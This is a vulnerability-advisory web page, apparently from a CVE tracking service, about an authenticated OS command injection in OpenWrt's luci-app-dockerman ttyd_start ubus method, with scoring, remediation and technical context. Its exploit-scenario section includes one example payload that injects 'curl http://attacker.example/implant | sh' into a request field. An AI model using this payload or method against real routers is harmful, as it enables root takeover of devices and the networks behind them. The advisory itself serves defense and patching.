Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to LuCI with read-ACL account
-
DeliveryPOST to /ubus targeting docker.container.ttyd_start
-
ExploitInject shell metacharacters in id/cmd/uid request fields
-
Executionrun_ttyd concatenates unsanitized input into shell command string
-
Persistsystem() executes injected payload as root via rpcd
-
ImpactArbitrary root command execution on router OS
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated LuCI session with an account that has been granted the luci-app-dockerman read ACL; write or administrative privileges are not needed. The vulnerable ucode docker_rpc.uc backend must be present, which is the case only in LuCI master and openwrt-25.12 snapshots after the JS-to-ucode conversion - openwrt-24.10 and openwrt-23.05 are categorically unaffected and require no action. The luci-app-dockerman package must be installed on the target device. No specific Docker container state, running container, or non-default configuration toggle is required; the ttyd_start ubus method is exposed by the ACL regardless of container runtime state. The authentication requirement (PR:L per CVSS 4.0 vector) is the sole limiting condition - unauthenticated remote attackers cannot reach the vulnerable code path. |
| Impact | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects a high-severity, network-accessible vulnerability requiring no user interaction and only low-privilege authentication. The PR:L requirement is the primary real-world limiting factor - an attacker must hold a valid LuCI account with the luci-app-dockerman read ACL granted. In environments where operators share Docker management dashboards with multiple users, this ACL may be broadly assigned, effectively lowering the exploitation bar. This vulnerability is not present in CISA KEV, no EPSS score is available from the provided data, and no public exploit code has been identified at time of analysis; however, the attack mechanic is trivially constructible from the description alone (inject a semicolon into an HTTP POST field) with no reverse engineering required. The consequence - arbitrary root command execution on a network device - is severe: routers compromise the entire LAN they protect. This makes luci-app-dockerman a high-priority remediation target for any affected OpenWrt deployment despite the authentication prerequisite. |
| Exploit ScenarioDerived | An attacker with a standard read-only LuCI account sends an HTTP POST to /ubus invoking docker.container.ttyd_start with a payload such as id set to a valid container name followed by shell metacharacters (e.g., alpine; curl http://attacker.example/implant | sh). The run_ttyd handler in docker_rpc.uc concatenates the unsanitized value into a shell command string and passes it to system(), executing the injected commands as root under the rpcd daemon. This yields complete, persistent root access to the router - enabling firmware modification, traffic interception, credential harvesting, or lateral pivot into the protected LAN. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 03, 2026
OS command injection in OpenWrt's luci-app-dockerman grants any authenticated user holding only the read ACL full root-level code execution on the affected router. The vulnerable run_ttyd handler in the ucode docker_rpc.uc backend constructs a shell command from attacker-controlled request fields (id, cmd, uid) and passes them unsanitized to system() within the rpcd root context, reachable via a simple HTTP POST to /ubus. Only LuCI master and openwrt-25.12 snapshots after the JS-to-ucode backend conversion are affected; upstream patch commits exist but no released patched snapshot version was confirmed as of the advisory, and no public exploit is identified at time of analysis.
RemediationAI
Upstream fix commits are available at https://github.com/openwrt/luci/commit/f4d0a44950e42bcbb8eacf715a3493b276a4f3ac and https://github.com/openwrt/luci/commit/44618b5b53d9bdad5cd489e82e29688b4d0862c1; however, no tagged or officially released patched snapshot build was confirmed as of the advisory date, so operators should monitor the advisory at https://github.com/openwrt/luci/security/advisories/GHSA-cq4h-h8jr-3xqv for a fixed build. As an immediate compensating control, removing the luci-app-dockerman package entirely eliminates the attack surface if LuCI-based Docker management is not operationally required - this does not affect Docker daemon functionality itself, only the LuCI UI integration. If the package must remain installed, revoke or restrict the luci-app-dockerman read ACL from all non-administrator accounts via the rpcd ACL configuration in /usr/share/rpcd/acl.d/; the trade-off is that those accounts will lose Docker status visibility through the LuCI interface. Additionally, restricting network access to the LuCI web interface (TCP 80/443) to trusted management subnets reduces exposure to opportunistic attackers but does not mitigate insider or compromised-credential scenarios.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command) within the ucode-based docker_rpc.uc RPC backend, introduced when OpenWrt LuCI migrated its Docker management interface from JavaScript to ucode. The docker.container.ttyd_start ubus method invokes the run_ttyd handler, which assembles a shell command string by concatenating the request-supplied id, cmd, and uid fields without quoting or using argv-style execution, then hands the result directly to system() - running in the rpcd daemon process, which executes as root. A compounding design flaw is that the package's read ACL grants broad access to the docker.* and docker.container.* ubus namespaces, inadvertently exposing this mutating method to users who were intended to have only read visibility. The affected CPE is cpe:2.3:a:openwrt:luci:*:*:*:*:*:*:*:*, with EUVD identifying build luci 26.162.29621~507ab5e as a confirmed vulnerable snapshot.
Know when Openwrt gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-accessible ubus endpoint, low-complexity injection; PR:L because a valid read-ACL account is required; rpcd already runs as root so no scope change beyond the device itself.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
OpenWrt luci-app-dockerman (LuCI master and openwrt-25.12 snapshots containing the ucode docker_rpc.uc RPC backend after the JS/ucode conversion) contains an OS command injection vulnerability. The package's read ACL grants broad ubus access to docker.* / docker.container.*, which exposes the docker.container.ttyd_start method even though it performs mutating operations. The run_ttyd handler builds a shell command from the request-controlled id, cmd, and uid fields and passes it to system() without quoting or argv-style execution in the rpcd root context. An authenticated attacker holding only the luci-app-dockerman read ACL can inject shell metacharacters (e.g., in id) to execute arbitrary commands as root via an HTTP POST to /ubus. openwrt-24.10 and openwrt-23.05 do not contain this backend and are not affected; no patched version was known as of the advisory.
Executive ViewAI
OpenWrt routers running LuCI master or openwrt-25.12 snapshots contain a command injection vulnerability that allows read-only administrators to gain full root control. This enables adversaries with internal network access to compromise router firmware, intercept network communications, and potentially attack downstream devices. Organizations must immediately identify affected deployments and prepare for patched release availability.
Apply vendor patch. Restrict LuCI management interface access to trusted administrative networks until patch deployment is complete.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
In wlan service, there is a possible out of bounds write due to improper input validation. Rated critical severity (CVSS
An issue was discovered in OpenWrt 18.06.0 to 18.06.6 and 19.07.0, and LEDE 17.01.0 to 17.01.7. Rated high severity (CVS
An issue was discovered in OpenWrt libuci (aka Library for the Unified Configuration Interface) before 15.05.1 as used o
cgi_handle_request in uhttpd in OpenWrt through 18.06.1 and LEDE through 17.01 has unauthenticated reflected XSS via the
In wlan service, there is a possible out of bounds write due to an incorrect bounds check. Rated critical severity (CVSS
An exploitable information leak vulnerability exists in the ustream-ssl library of OpenWrt, versions 18.06.4 and 15.05.1
An exploitable information leak vulnerability exists in the ustream-ssl library of OpenWrt, versions 18.06.4 and 15.05.1
Remote privilege escalation in Android WLAN AP driver via packet injection.
In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es
In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es
In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local es
Remote code execution in OpenWrt's mDNS daemon (versions before 24.10.6 and 25.12.1) allows unauthenticated attackers to
EUVD-2026-52289
GHSA-wjfh-jfr9-fxvm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB